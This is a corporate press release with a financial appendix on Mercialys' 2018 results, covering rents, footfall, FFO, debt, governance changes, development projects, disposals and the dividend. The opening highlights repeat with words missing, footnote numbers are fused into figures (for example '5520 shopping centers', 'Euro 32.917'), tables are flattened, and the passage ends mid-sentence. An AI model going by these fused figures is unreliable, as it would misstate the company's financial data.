Footfall and retailer sales within Mercialys' scope have continued to outpace the national average. Consumption trends and the business climate remained sound in 2018 in France, but the retail market was affected by the social unrest in the 4 th quarter, impacting certain retailers. In view of this, Mercialys will prudently externalize its reversion potential in 2019 in order to keep occupancy cost ratios that are sustainable over the long term for its retailers.

and within Mercialys' scope have continued to outpace the national average. Consumption trends and the business climate remained sound in 2018 in France, but the retail market was affected by the in the 4 quarter, impacting certain retailers. In view of this, Mercialys will prudently externalize its reversion potential in 2019 in order to keep occupancy cost ratios that are sustainable over the long term for its retailers. The Loan to Value ratio (LTV excluding transfer taxes) was 40.8% at end-2018. While investors' appetite for retail property assets has decreased, reflected in the timeframes for asset sales, Mercialys is able to adapt the pace of its projects. Illustrating this, after investing Euro 79.5M in 2018, the Company will limit its development projects to Euro 12.1M in 2019, which will help maintain a sound financial profile . Depending on the development of asset disposals over the coming months, Euro 23.9M of additional projects may be launched soon, covering the Aix-Marseille Plan de Campagne site.

(LTV excluding transfer taxes) was 40.8% at end-2018. While investors' appetite for retail property assets has decreased, reflected in the timeframes for asset sales, Mercialys is able to adapt the pace of its projects. Illustrating this, after investing Euro 79.5M in 2018, the Company will limit its development projects to Euro 12.1M in 2019, which will . Depending on the development of asset disposals over the coming months, Euro 23.9M of additional projects may be launched soon, covering the Aix-Marseille Plan de Campagne site. Consumption habits are changing, notably developing interdependency between online and offline retail, with physical stores still the very widely preferred format among consumers. Mercialys' portfolio offers characteristics enabling consumers to benefit from a better quality/price ratio, while saving time. The Company is working on five transformation pillars aiming to further establish its shopping centers in their communities and consolidate their leadership, an essential factor for retailer profitability.

aiming to further establish its shopping centers in their communities and consolidate their leadership, an essential factor for retailer profitability. Proposal for a dividend of Euro 1.12 per share for 2018, up +2.8% from 2017 (90% of FFO), representing a yield of 9.4% on the share price from end-December 2018. 2018 FFO therefore covers both the payment of the dividend (Euro 103M) and maintenance capex (Euro 9M).

for 2018, up from 2017 (90% of FFO), representing a yield of 9.4% on the share price from end-December 2018. 2018 FFO therefore covers both the payment of the dividend (Euro 103M) and maintenance capex (Euro 9M). 2019 objectives: indexation will continue its recovery. Mercialys anticipates organic growth of around +3%, with at least +1% excluding indexation. FFO should increase by at least +4%. The dividend will be at least stable, within a range of 85% and 95% of 2019 FFO.

Regulatory News:

Mercialys (Paris:MERY):

Dec 31, 2017 Dec 31, 2018 Change (%) Organic growth in invoiced rents including indexation +2.6% +3.7% Organic growth in invoiced rents excluding indexation +2.6% +2.5% Spread between the change in footfall2 for Mercialys centers

and the CNCC index3 (year to end-December) +390bp +310bp Spread between the change in revenues(2) for Mercialys retailers

and the CNCC index(3) (year to end-November) +390bp +190bp FFO (Euro million) 114.0 115.1 +1.0% LTV (excluding transfer taxes) 39.9% 40.8% EPRA NAV (Euros per share)4 20.86 20.86 0.0% EPRA NNNAV (Euros per share)4 20.54 21.14 +2.9% Dividend (Euros per share) 1.09 1.125 +2.8%

I. Dual governance structure set up

As proposed by its Chairman and Chief Executive Officer, Eric Le Gentil, the Board of Directors unanimously decided today to separate the roles of the Chairman and Chief Executive Officer. The Company's governance, already aligned with the best market standards, has been further improved.

Eric Le Gentil will continue as Chairman of the Board of Directors, with Vincent Ravat, previously Chief Operating Officer, appointed as Chief Executive Officer with immediate effect. Elizabeth Blaise has been appointed as Deputy CEO and will continue in her role as Chief Financial Officer.

Eric Le Gentil is also a member of the Investment Committee, while Vincent Ravat is a permanent guest member. With regard to the appointments, Eric Le Gentil will now be part of the Appointments and Compensation Committee, which will continue to be chaired by a female independent director, with independent directors making up 60% of the Committee.

The Board of Directors can already indicate that it will be submitting a proposal at the General Meeting on April 25 to renew Eric Le Gentil's appointment as a director in order to make it possible, in the event of a positive vote, to renew this new governance structure for three years, with Eric Le Gentil as Chairman of the Board of Directors, Vincent Ravat as Chief Executive Officer and Elizabeth Blaise as Deputy CEO.

II. 2018 activity and results

Centers' leadership reflected in excellent performance for management indicators

Invoiced rents increased by +0.9% to Euro 185.2M, driven by organic growth and the impact of the delivery of the Le Port shopping center extension in November 2018, the effects of which were partially offset by the disposals completed in 2017 and 2018.

Organic growth in invoiced rents excluding indexation came to a high level of +2.5%, significantly higher than the target of +2%. Indexation had a favorable impact of +1.2%, bringing total organic growth to +3.7% in 2018.

Mercialys shopping centers continued to outperform the sector in France, in terms of both footfall and retailer sales growth6.

Footfall increased by +1.4% for the year to end-December 2018, compared with a -1.7% contraction for the overall shopping center market (CNCC), representing an outperformance of +310bp.

Retailer sales increased by +0.1% for the year to end-November 2018, compared with a -1.8% drop for the CNCC, representing a positive difference of +190bp. Sales generated in Mercialys shopping centers were negatively affected by the social unrest seen in the 4th quarter, with consumer purchases during this turbulent period focused mainly on food products.

The current financial vacancy rate came to 2.5%7, stable compared with the end of 2017. The 12-month recovery rate was 96.7%, slightly lower than the end of 2017 (97.0%). Thanks to its effective tenant selection, Mercialys has been only marginally affected by recent retailer store closures. In addition, the proven commerciality of its centers reduces its exposure to any rationalization of physical store portfolios and the Company continues to carefully monitor its retailers' balanced financial positions.

The occupancy cost ratio is 10.5%, stable compared with December 31, 2017.

Rental revenues climbed to Euro 187.3M, up +1.1%, after the recognition of lease rights and despecialization indemnities.

Net rental income increased by +1.8% to Euro 175.4M reflecting the growth in rental revenues and the significant drop in non-recovered service charges.

Growth in Funds from Operations (FFO) came to +4.5% excluding the impact of the carrying cost related to refinancing the bond maturing in 2019

EBITDA came to Euro 157.8M, up +1.8% compared with 2017, also reflecting the impact of disposals. The EBITDA margin represents a still-satisfactory level of 84.3%, up +60bp from 2017.

Net financial expenses increased by +8.0% compared with 2017 to Euro 32.8M. This amount, used to calculate FFO, excludes the non-cash and non-recurring effect of the impact of hedging ineffectiveness and banking default risk in accordance with EPRA provisions. This change over the period includes the carrying cost of Euro 4.1M caused by the early refinancing of the Euro 479.7M bond, maturing in March 2019. The average cost of drawn debt represents 1.8%, stable compared with the first half of 2018 and down slightly from the rate of 1.9% recorded in 2017. Following the redemption of this bond in March 2019, Mercialys will benefit, all things being equal, from a significant reduction in its financial expenses, with this trend to continue on an annual basis into 2020.

The share of net income from equity associates (excluding amortization and impairment) represents Euro 4.2M at December 31, 2018, compared with Euro 2.5M at December 31, 2017. SCI AMR has notably benefited from positive trends, with its portfolio further strengthened by the dynamic Niort and Albertville sites, while SNC Aix2 also recorded a very satisfactory performance.

Non-controlling interests (excluding amortization and capital gains) totaled Euro 10.4M in 2018, compared with Euro 10.0M in 2017.

The tax charge of Euro 2.4M is mainly composed of the corporate value-added contribution (Euro 2.0M) and deferred tax (Euro 0.4M). In 2017, this item benefited from the claim for the 3% tax reimbursement, representing income of Euro 1.3M.

Funds from Operations (FFO8 are up +1.0% to Euro 115.1M, with Euro 1.25 per share9. Excluding the impact of the carrying cost related to refinancing the bond maturing in 2019 for Euro 4.1M, FFO increased by +4.5%, significantly higher than the +2% target.

(In thousands of euros) Dec 31, 2017 Dec 31, 2018 Change (%) Invoiced rents 183,514 185,213 +0.9% Lease rights 1,805 2,074 +14.9% Rental revenues 185,318 187,287 +1.1% Non-recovered building service charges -13,131 -11,920 -9.2% Net rental income 172,188 175,367 +1.8% Management, administrative and other activities income 4,066 3,076 -24.4% Other income and expenses -8,788 -8,050 -8.4% Personnel expenses -12,398 -12,581 +1.5% EBITDA 155,069 157,812 +1.8% EBITDA margin 83.7% 84.3% Net financial items (excluding impact of hedging ineffectiveness and banking default risk) -30,375 -32,790 +8.0% Reversals of (allowances for) provisions -1,528 -1,481 -3.1% Other operating income and expenses (excluding gains on disposals and impairment) -1,057 91 ns Tax expense -645 -2,402 ns Share of net income from equity associates (excluding amortization and impairment)10 2,540 4,201 +65.4% Non-controlling interests (excluding capital gains and amortization) -10,036 -10,371 +3.3% FFO 113,969 115,060 +1.0% FFO per share9(in euros) 1.24 1.25 +1.1%

III. Five strategic pillars to further develop the attractiveness of Mercialys shopping centers and invent tomorrow's retail property

While consumption habits are evolving under the effect of sociological, demographic and technological changes, the breakdown of the consumption of French households in each category has changed little over the last decade11, with half covered by the products available in shopping centers.

Physical retail also remains very widely preferred by consumers, with 65% of French people preferring to purchase their products, across all categories, in store. This trend is particularly marked for the latest generations12

Stores still represent a strong format for generating purchases. Indeed, "showrooming" is a marginal activity that represents just 5% of traffic in physical assets12, while 86% of online buyers say that they use collection points amongst their delivery channels, 38% use click&collect and 24% e-reservations with in-store payments, generating additional trade flows in physical assets. 33% of online buyers who opted to collect their orders rather than have them home delivered in 2018 took advantage of their journey to buy other products at these same physical points of sale13

Omni-channel retailers also benefit from an "emotional premium"14 over retailers that are fully online. 83% of European consumers prefer to see and touch products before buying them, while 79% like to try before they buy and 62% like to be advised by sales staff in shops15. For comparison, the rate of returns due to customer dissatisfaction with products sold online is high, coming in at 24%16

Despite the very dominant position of physical retail, habits and mentalities are changing and Mercialys, as a major player for shopping centers in France, is developing its model so that it can respond to consumers' expectations.

The Company has mapped out five major strategic pillars, which now determine its actions on both property and commercial levels:

1. From asset manager to retail and services hub, aiming to strengthen Mercialys' "marketplace" dimension by, in addition to leasing high-quality commercial spaces, increasing the number of high-performance services provided for retailers and end customers;

2. From landlord to last-mile player, aiming to capitalize on the central geographical position of Mercialys' commercial assets and their locations within their catchment areas in order to provide a solution to the issue of local logistics costs;

3. From customer knowledge to personalized customer relationships, aiming to address consumers' changing requirements even more effectively and individually;

4. From mass market consumption to better living, ensuring that Mercialys' actions are consistent with a sustainable development and sharing approach;

5. From mono to multi-functional sites, aiming to move beyond the traditional use of shopping centers to make them real living environments.

These strategic pillars are broken down into 35 in-house projects,mobilizing the Company's employees within a "project mode" organization and with a "test and learn" approach.

The budget allocated for the current test phases is approximately Euro 1M.

IV. Completions, disposals and development portfolio

One major extension and three large food store transformation projects completed. Euro 4.9M in additional rent on an annual basis for an average net yield of 6.2%

In November, Mercialys completed and inaugurated its flagship project on Reunion island, Cap Sacre-Cur shopping center, located in the municipality of Le Port in the north-west of the island. This project, which represents Euro 4.6M in additional annual rental income for a yield of 6.2%, is based on a 9,200 sq.m extension, which has welcomed 45 new shops, and a full refurbishment of the existing section. Its innovative letting has attracted numerous national and international retailers that were not present locally until now, such as the Turkish fashion clothing brand Koton, the Spanish decoration brand Muy Mucho and the American cosmetics brand MAC, as well as Levi's.

This center, which is now the largest on Reunion island and bigger than the Sainte-Marie site, also owned by Mercialys, has achieved significant success, with 143,000 visitors during its inauguration week and combined footfall of over 820,000 visitors for November and December 2018, despite the major disruption linked to social unrest. Located in a residential hub with 400,000 inhabitants, these footfall figures reflect the regional scale and power of attraction of this leading site in the Indian Ocean.

Mercialys also delivered three large food store transformation projects,representing Euro 0.4M of additional rental income on an annualized basis for a yield on cost of 6.1%. 4,220 sq.m of space was reworked, enabling three new medium-sized stores to be set up in three different shopping centers, further strengthening their retail mix and consolidating their distinctive identity within their catchment areas.

The retailer Action opened in Annecy, making it possible to capture the retail potential of residential property developments near this site, offering affordable products for first-time buyers. Fnac also opened its second shop in Franche-Comte at Mercialys' Besancon site. Lastly, New Yorker inaugurated its first shop in Brest at Mercialys' site, perfectly supplementing the retail mix of this center, which attracts high numbers of visitors aged 18-35.

Euro 33.7M including transfer taxes of disposals in 2018 and February 2019, with Mercialys aiming to further concentrate its portfolio

Mercialys finalized the disposal of three shopping centers in 2018 and February 2019.

The sale of the Saint-Paul site on Reunion island was completed in June 2018 for Euro 14.6M including transfer taxes, generating a capital gain of Euro 3.3M.

The sale of the Lannion site for Euro 12.0M including transfer taxes in December 2018, generating Euro 3.0M of capital gains, and the Gap site in February 2019 for Euro 7.1M including transfer taxes, are in line with Mercialys' asset rotation strategy, notably looking to divest centers that are well integrated into their local environments but of limited size based on the Company's criteria.

These sales, completed at values above their appraisals, are helping fund the Company's project portfolio.

Building on eight years of success with asset sales, Mercialys intends, in a context of increasing polarization for retail assets, to continue rolling out this rotation strategy and has identified around Euro 200M of assets including transfer taxes for potential sales, representing approximately 5% of the portfolio value at end-December 2018.

Review of the portfolio of development projects and focus on selectivity for investments in 2019

Investor appetite for commercial property declined in 2018, which was reflected in the timeframes for sales. In this context, and to safeguard its main financial balances, Mercialys has carried out an in-depth review of its project portfolio, based on their profitability and the trends for the corresponding catchment areas.

At end-December 2018, the Company's project portfolio represented Euro 568M through to 2025, down Euro -257M from June 30, 2018. This change reflects the delivery of projects in 2018 for Euro 79.5M, as well as the realignment to focus on projects with higher expected yields and controlled risk profiles. Total potential additional rental income now represents Euro 32.9M17for a highly accretive average yield rate of 6.9%17

Mercialys is committed to creating value for shareholders and maintaining its balance sheet equilibrium. It was therefore decided to limit, at this stage, the value of projects in 2019 to Euro 12.1M, corresponding to the projects already underway at the Le Port site on Reunion island, including the development of indoor and outdoor food courts and the retail park.

Euro 23.9M of additional projects at the Aix-Marseille Plan de Campagne site, corresponding to the conversion of large food stores and the first phase of the center's extension, may be implemented quickly, depending on developments with the disposals of assets over the coming months.

Mercialys' project portfolio remains very deep and flexible, with projects covering 30 out of the 5518 shopping centers and high-street retail assets held at the end of 2018 by the Company, and a real ability to accelerate or decelerate each project in line with the trends for requirements in their catchment areas.

(in millions of euros) Total

investment Investment

still to be

committed Target net

rental

income Target net

yield on

cost Completion

date COMMITTED PROJECTS 12.1 11.7 0.9 7.1% 2019 Le Port 12.1 11.7 0.9 7.1% 2019 Food court 0.8 0.4 Retail park 11.3 11.3 CONTROLLED PROJECTS 207.3 207.0 10.417 6.7%17 2020 2022 Redevelopments and requalifications 66.2 65.9 4.4 6.7% 2020 2021 o.w. Aix-Marseille Plan de Campagne (transf.) 10.4 10.4 Extensions and retail parks 88.9 88.9 6.0 6.7% 2020 2022 of which Aix-Marseille Plan de Campagne (ext. phase 1) 13.5 13.5 Mixed-use high-street projects 52.2 52.2 na na 2021 2022 IDENTIFIED PROJECTS 348.3 348.2 21.617 7.0%17 2022 2025 TOTAL PROJECTS 567.7 566.9 32.917 6.9%17 2019 2025

Committed projects: projects fully secured in terms of land management, planning and related development permits

Controlled projects: projects effectively under control in terms of land management, with various points to be finalized for regulatory urban planning (constructability), planning or administrative permits

Identified projects: projects currently being structured, in emergence phase

V. Portfolio and debt

EPRA NNNAV up +2.9% over 12 months

Mercialys' portfolio value represents Euro 3,780.2M including transfer taxes, up +1.2% over 12 months and down slightly by -0.4% over six months. Like-for-like19, Mercialys' portfolio value is up +0.4% over 12 months and down -1.0% over six months.

Excluding transfer taxes, the portfolio value comes to Euro 3,556.9M, also up by +1.2% over 12 months and down -0.4% over six months.

At end-2018, Mercialys' portfolio mainly comprised 5520 shopping centers and high-street sites, with 45% regional or large shopping centers and 55% leading local retail sites (neighborhood shopping centers and city-center assets).

The average size of these shopping centers (excluding high-street retail assets) was 17,000 sq.m at the end of 201821, compared with an average of 7,400 sq.m in 2010. Their average value was Euro 74M including transfer taxes22, versus Euro 26.9M in 2010.

The average appraisal yield rate came to 5.10% at December 31, 2018, compared with 5.07% at June 30, 2018 and 5.13% at December 31, 2017. The 3bp reduction in the yield rate between 2017 and 2018 is linked primarily to changes in scope (acquisition of the Le Port site extension and sale of the Saint-Paul and Lannion shopping centers) and the positive contribution of investments made over the period (notably requalification of large food stores and residual payments on redevelopment projects completed in 2017), increasing the value of the assets redeveloped without affecting rents, automatically reducing the headline rate.

Like-for-like and excluding the effect of investments, an increase in appraisal rates on certain categories of assets had an overall effect of +8bp on the portfolio's average rate. This development resulted in a Euro -51M drop in the portfolio value excluding transfer taxes, reflected in the change in the Net Asset Value as detailed below.

Mercialys' EPRA NNNAV is up +2.9% over 12 months to Euro 21.14 per share. This change of Euro +0.60 per share over one year factors in the following impacts:

Dividend payment: Euro -1.18

Funds from Operations: Euro +1.25

Change in unrealized capital gains (i.e. difference between the net book value of assets on the balance sheet and their appraisal value excluding transfer taxes): Euro +0.06, including a yield effect for Euro -0.55, a rent effect for Euro +0.51, and other effects for Euro +0.11

Change in fair value of fixed-rate debt: Euro +0.63

Change in fair value of derivatives and other items: Euro -0.16

Note that the EPRA NNNAV at end-2018 was higher than the EPRA NAV, which came to Euro 20.86 per share, stable compared with the end of 2017. This difference is related to the change in the fair value of fixed-rate debt, which reflects a market value for this debt that is lower than its nominal value.

Optimized financial structure, with a competitive cost of financing

In February 2018, Mercialys completed the early refinancing of a Euro 479.7M bond issue maturing in March 2019 with a new Euro 300M eight-year bond issue based on a very favourable coupon of 1.80%. In 2018, taking into account the Euro 150M private placement from November 2017 and hedging, this refinancing generated a carrying cost of Euro 4.1M. This negative impact on FFO will be neutralized after the redemption of this bond.

The real average cost of drawn debt for 2018 came to 1.8%, lower than 2017 (1.9%).

The average maturity of drawn debt was 3.7 years at December 31, 2018. Restated for the negative impact of the bond maturing in March 2019, this represents 4.8 years.

Mercialys' financial structure is still extremely solid. The LTV ratio excluding transfer taxes23 came to 40.8% at December 31, 2018. The ICR24 was 5.0x at December 31, 2018, versus 5.2x at December 31, 2017. The change in this indicator reflects the carrying cost for the early refinancing of the bond maturing in March 2019.

Mercialys will maintain its solid financial profile over the medium term.

VI. Dividend and outlook

Dividend

Mercialys' Board of Directors will submit a recommendation to the Annual General Meeting on April 25, 2019 for a dividend of Euro 1.12 per share (including the Euro 0.50 per share interim dividend already paid in October 2018). The proposed dividend is up +2.8% from 2017, with a yield of 5.3% based on the EPRA NNNAV of Euro 21.14 per share from end-2018 and 9.4% based on the year's closing share price. The payout corresponds to 90% of 2018 FFO, in line with Mercialys' guidance (range of 85% to 95% of 2018 FFO and dividend growth of at least +2% versus 2017).

The ex-dividend date is April 29, 2019, and the dividend will be paid out on May 2, 2019.

This payment corresponds to the distribution of 95% of the recurrent taxable profit excluding capital gains, in accordance with the SIIC rules (representing Euro 0.93 per share), as well as all the capital gains available for distribution based on asset sales from 2018 (Euro 0.06 per share), and the remaining amount of the capital gains available for distribution based on assets sold in 2017 (representing Euro 0.13 per share).

2019 outlook

In 2019, Mercialys will continue moving forward with its proven strategy of constantly adapting its assets and continuously optimizing its retail offer. Its actions will now focus on the five major strategic pillars defined previously.

Against a backdrop of uncertainty, both at commercial level (following the disruption linked to the demonstrations at the end of 2018) and in terms of the portfolio's rotation (due to reduced appetite among investors for retail assets), the Company will also be very attentive and responsive to market developments, particularly concerning its investments.

Mercialys has set the following objectives for 2019:

Organic growth in invoiced rents of around +3% including indexation and at least +1% excluding indexation. Although indexation will remain high, the Company will prudently externalize its reversion potential in 2019, maintaining sustainable occupancy cost ratios for retailers over the long term;

Funds from Operations (FFO) per share growth of at least +4% compared with 2018;

Dividend within a range of 85% to 95% of 2019 FFO, at least stable compared with 2018.

This press release is available on www.mercialys.com

IMPORTANT INFORMATION

This press release contains certain forward-looking statements regarding future events, trends, projects or targets. These forward-looking statements are subject to identified and unidentified risks and uncertainties that could cause actual results to differ materially from the results anticipated in the forward-looking statements. Please refer to the Mercialys registration document available at www.mercialys.com for the year ended December 31, 2017 for more details regarding certain factors, risks and uncertainties that could affect Mercialys' business. Mercialys makes no undertaking in any form to publish updates or adjustments to these forward-looking statements, nor to report new information, new future events or any other circumstances that might cause these statements to be revised.

APPENDIX TO THE PRESS RELEASE

Financial Report

1. Financial statements 11

2. Main highlights of 2018 14

3. Summary of the main key indicators for the period 15

4. Review of activity 15

5. Review of consolidated results 17

6. Changes in the scope of consolidation and valuation of the asset portfolio 24

7. Outlook 26

8. Subsequent events 26

9. EPRA performance measurements 26

Financial Report

Pursuant to Regulation (EC) No. 1606/2002 of July 19, 2002, the Mercialys Group consolidated financial statements were prepared in accordance with International Financial Reporting Standards (IFRS) issued by the International Accounting Standards Board (IASB) as adopted by the European Union and applicable at December 31, 2018. These standards are available on the European Commission website at (https://ec.europa.eu/info/business-economy-euro/company-reporting-and-auditing/company-reporting/financial-reporting_en). The accounting policies set out below were applied consistently to all the periods presented in the consolidated financial statements, after taking into account, or with the exception of, the new standards and interpretations described below.

1. Financial statements

The audit procedures on the consolidated financial statements were carried out. The certification report will be issued after finalization of the procedures required for filing the registration document.

1.1. Consolidated income statement

(In thousands of euros) Dec 31, 2018 Dec 31, 2017 Rental revenues 187,287 185,318 Non-recovered property taxes (860) (1,248) Non-recovered service charges (4,141) (4,656) Property operating expenses (6,920) (7,227) Net rental income 175,367 172,188 Management, administrative and other activities income 3,076 4,066 Other income 285 277 Other expenses (8,335) (9,065) Personnel expenses (12,581) (12,398) Depreciation and amortization (37,016) (34,822) Reversals of/(Allowances for) provisions (1,481) (1,528) Other operating income 30,481 178,364 Other operating expenses (25,610) (172,005) Operating income 124,186 125,077 Income from cash and cash equivalents 430 156 Gross finance costs (31,697) (30,219) (Net finance costs)/income from net cash (31,267) (30,063) Other financial income 285 254 Other financial expenses (2,195) (2,173) Net financial items (33,177) (31,982) Tax expense (2,402) (645) Share of net income from equity associates and joint ventures 1,012 2,540 Consolidated net income 89,619 94,991 attributable to non-controlling interests 8,768 8,324 attributable to owners of the parent 80,851 86,666 Earnings per share25 Net income, attributable to owners of the parent (in euros) 0.88 0.94 Diluted net income, attributable to owners of the parent (in euros) 0.88 0.94

1.2. Consolidated balance sheet

ASSETS (in thousands of euros) Dec 31, 2018 Dec 31, 2017 Intangible assets 2,710 2,486 Property, plant and equipment other than investment property 8 10 Investment property 2,322,755 2,305,414 Investments in associates 35,160 38,445 Other non-current assets 46,773 37,529 Deferred tax assets 1,727 319 Non-current assets 2,409,134 2,384,203 Trade receivables 22,341 15,839 Other current assets 49,448 59,713 Cash and cash equivalents 377,106 196,913 Investment property held for sale 3,753 113 Current assets 452,648 272,578 Total assets 2,861,781 2,656,781

EQUITY AND LIABILITIES (in thousands of euros) Dec 31, 2018 Dec 31, 2017 Share capital 92,049 92,049 Additional paid-in capital, treasury shares and other reserves 587,551 626,468 Equity, attributable to owners of the parent 679,601 718,517 Non-controlling interests 199,944 202,023 Equity 879,545 920,540 Non-current provisions 1,063 857 Non-current financial liabilities 1,208,999 1,377,454 Deposits and guarantees 22,081 22,694 Other non-current liabilities 3,580 Deferred tax liabilities 578 Non-current liabilities 1,235,723 1,401,583 Trade payables 14,769 12,516 Current financial liabilities 690,939 281,396 Current provisions 7,538 6,265 Other current liabilities 33,218 34,432 Current tax liabilities 49 49 Current liabilities 746,513 334,658 Total equity and liabilities 2,861,781 2,656,781

1.3. Consolidated cash flow statement

(In thousands of euros) Dec 31, 2018 Dec 31, 2017 Net income, attributable to owners of the parent 80,851 86,666 Non-controlling interests 8,768 8,324 Consolidated net income 89,619 94,991 Depreciation, amortization and provisions, net of reversals 41,507 43,590 Expenses/(income) relating to stock options and similar 235 421 Other calculated expenses/(income)(1) (1,964) (1,775) Share of net income from equity associates (1,012) (2,540) Dividends received from associates 4,397 2,625 Income from asset disposals (8,119) (14,965) Cash flow 124,663 122,346 Expenses/(income) from net financial debt 31,268 30,063 Tax expense (including deferred tax) 2,402 645 Cash flow before net finance costs and tax 158,333 153,055 Taxes received/(paid) (305) (2,547) Change in working capital requirement relating to operations, excluding deposits and guarantees(2) 8,729 13,491 Change in deposits and guarantees (612) 48 Net cash flow from operating activities 166,144 164,046 Cash payments on acquisitions of: investment property and other fixed assets (79,294) (102,808) non-current financial assets (221) Cash receipts on disposals of: investment properties and other fixed assets(3) 27,890 164,173 non-current financial assets Investments in associated companies(4) (975) (26,956) Impact of changes in the scope of consolidation with change of ownership (44) Impact of changes in scope of consolidation related to associates Change in loans and advances granted (7) (7,826) (23) Net cash flow from investing activities (60,470) 34,386 Dividends paid to shareholders of the parent company (62,403) (57,829) Interim dividend (45,805) (37,637) Dividends paid to non-controlling interests (10,844) (11,468) Other transactions with shareholders (5) (1,260) Changes in treasury shares (3,510) (1,100) Increase in borrowings and financial liabilities (6) 1,080,043 1,281,260 Decrease in borrowings and financial liabilities (6) (857,000) (1,164,500) Net interest received 31,140 29,997 Net interest paid (56,715) (54,724) Net cash flow from financing activities 74,904 (17,260) Change in cash position 180,577 181,171 Net cash at beginning of year 196,469 15,298 Net cash at end of year 377,046 196,469 of which cash and cash equivalents 377,106 196,913 of which bank overdrafts (60) (444)

Dec 31, 2018 Dec 31, 2017 (1) Other calculated expenses and income primarily comprise: - discounting adjustments to construction leases (444) (546) - lease rights received and spread out over the term of the lease (1,980) (1,720) - financial expenses spread out 402 399 - interest on non-cash loans (50) (2) The change in working capital requirement breaks down as follows: trade receivables (7,076) 13,935 trade payables 2,228 (7,046) other receivables and payables 13,577 6,602 8,729 13,491

(3) In 2018, cash inflows related to disposals were essentially composed of the disposals of the sites at Saint Paul and Lannion for Euro 25.2M excluding transfer taxes. In 2017, cash inflows related to disposals were essentially composed of five service galleries sold to the Casino Group for

Euro 36.0M, the transformed hypermarket at Toulouse Fenouillet sold to the Casino Group for Euro 30.6M, the site at Poitiers Beaulieu for Euro 69.7M, the site at Fontaine-Les-Dijon for Euro 24.9M and the site at Rennes Saint-Gregoire for Euro 2.3M. These amounts were net of expenses. (4) During the first half of 2018, Mercialys took part in a capital increase of the SCI AMR for Euro 975K. In December 2017, La Diane purchased from Casino Group the shares in the company Sacre Cur, running the project at Le Port on Reunion island, for Euro 15.7M and the associated current account for Euro 11.2M. (5) In December 2017 Mercialys acquired all of the shares of the stake held by the minority shareholder in SCI Kerbernard for Euro 1.3M. (6) In 2018 and 2017, the increases and reductions of borrowings and financial debt corresponded to subscriptions and redemptions of commercial papers and the establishment of the new bond representing Euro 298,466K net of expenses in 2018 and Euro 148,260K net of expenses in 2017. (7) Mercialys granted a supplementary loan to SCI Rennes Anglet for Euro 7.8M.

2. Main highlights of 2018

Bond issue

In February 2018, Mercialys issued a new bond of a nominal amount of Euro 300M maturing in February 2026. This issue bears a coupon of 1.80%.

Disposal of the Saint-Paul site

In June 2018, Mercialys sold the Saint-Paul site on Reunion island for an amount of Euro 14M excluding transfer taxes, generating capital gains of Euro 3.3M.

Completion of the Le Port shopping center extension project

In November 2018, Mercialys inaugurated the extension of its shopping center Cap Sacre-Cur, located in the municipality of Le Port on Reunion island. This project, run by the company Sacre-Cur, included the creation of an extension of 9,200 sq.m hosting 45 new shops and the complete renovation of the existing part.

Disposal of the Lannion site

In December 2018, Mercialys sold the Lannion site for an amount of Euro 11.2M excluding transfer taxes, generating capital gains of Euro 3.0M.

3. Summary of the main key indicators for the period

Dec 31, 2018 Organic growth in invoiced rents +2.5% EBITDA26 Euro 157.8M EBITDA/rental revenues 84.3% Funds from operations (FFO) Euro 115.1M Funds from operations (FFO27) per share Euro 1.25 Fair value of the portfolio (including transfer taxes) Euro 3,780.2M Change vs 12/31/2017 (total scope) +1.2% Variation vs 12/31/2017 (excluding the impact of 2017 and 2018 disposals) +0.4% EPRA NNNAV per share Euro 21.14 Change vs 12/31/2017 +2.9% Loan to Value (LTV) excluding transfer taxes 40.8%

4. Review of activity

4.1. Main management indicators

Renewals and re-lettings generated average growth in the annualized rental base of +10.1% 28 for the period.

generated average growth in the annualized rental base of +10.1% for the period. Details of the lease expiry schedule can be found in the table below:

Number of leases Annual MGR* variable

(in Euro M) Share of leases expiring

(% Annual MGR variable) Expired at 12/31/2018 374 17.0 9.3% 2019 139 6.6 3.6% 2020 185 13.0 7.1% 2021 159 9.2 5.1% 2022 167 10.6 5.8% 2023 119 8.5 4.7% 2024 155 10.4 5.7% 2025 143 9.3 5.1% 2026 243 25.9 14.2% 2027 and beyond 483 71.6 39.3% Total 2,167 182.1 100.0%

* MGR Minimum Guaranteed Rent

The number of expired leases at end-2018 is due to ongoing negotiations, non-renewal of leases with payment of eviction compensation, comprehensive negotiations by retailers, tactical delays, etc.

The recovery rate over 12 months to the end of December 2018 remains high at 96.7%, slightly down in relation to June 30, 2018 (97.1%) and to December 31, 2017 (97.0%). This development is essentially due to a dispute with a tenant concerning non-recurrent re-invoicing of work.

over 12 months to the end of December 2018 remains high at 96.7%, slightly down in relation to June 30, 2018 (97.1%) and to December 31, 2017 (97.0%). This development is essentially due to a dispute with a tenant concerning non-recurrent re-invoicing of work. The current financial vacancy rate which excludes "strategic" vacancy designed to facilitate extension/redevelopment plans remained at a very low level. It stood at 2.5% 29 at December 31, 2018, stable compared to June 30, 2018 and December 31, 2017. The total vacancy rate 30 stood at 3.0% at December 31, 2018, an improvement compared to June 30, 2018 and to December 31, 2017 (3.4%).

which excludes "strategic" vacancy designed to facilitate extension/redevelopment plans remained at a very low level. It stood at 2.5% at December 31, 2018, stable compared to June 30, 2018 and December 31, 2017. The total vacancy rate stood at 3.0% at December 31, 2018, an improvement compared to June 30, 2018 and to December 31, 2017 (3.4%). The occupancy cost ratio31 of tenants stood at 10.5% over the large shopping centers, stable compared to June 30, 2018 and slightly up compared to December 31, 2017 (10.3%). This ratio thence remains at a fairly modest level compared with that of Mercialys' peers in France. It reflects both the reasonable level of real estate costs in retailers' operating accounts and the potential for increasing rent levels upon lease renewal or redevelopment of the premises.

Mercialys earns rental income from a wide range of retailers. With the exception of the Casino Group (see below for more details) and H&M (2.9%) no other tenant represents more than 2% of total rental income.

The percentage of Casino in total rental income was 28.7% at December 31, 2018, down compared to June 30, 2018 (29.4%) and to December 31, 2017 (28.9%). This development is due to the overall growth of rental income.

The table below shows the breakdown by retailer (national, local and Casino Group retailers) of contractual rents on an annualized basis:

Number of leases Annual MGR* variable

Dec 31, 2018

(in Euro M) Dec 31, 2018

(in %) Dec 31, 2017

(in %) National and international retailers 1,498 109.4 60.1% 58.4% Local retailers 599 20.4 11.2% 12.7% Casino cafeterias/restaurant 6 1.1 0.6% 0.6% Monoprix 8 11.6 6.4% 6.4% Geant Casino and other entities 56 39.7 21.8% 21.9% Total 2,167 182.1 100.0% 100.0%

* MGR Minimum Guaranteed Rent

The breakdown by business sector (including large food stores) of Mercialys rents also remains highly diversified:

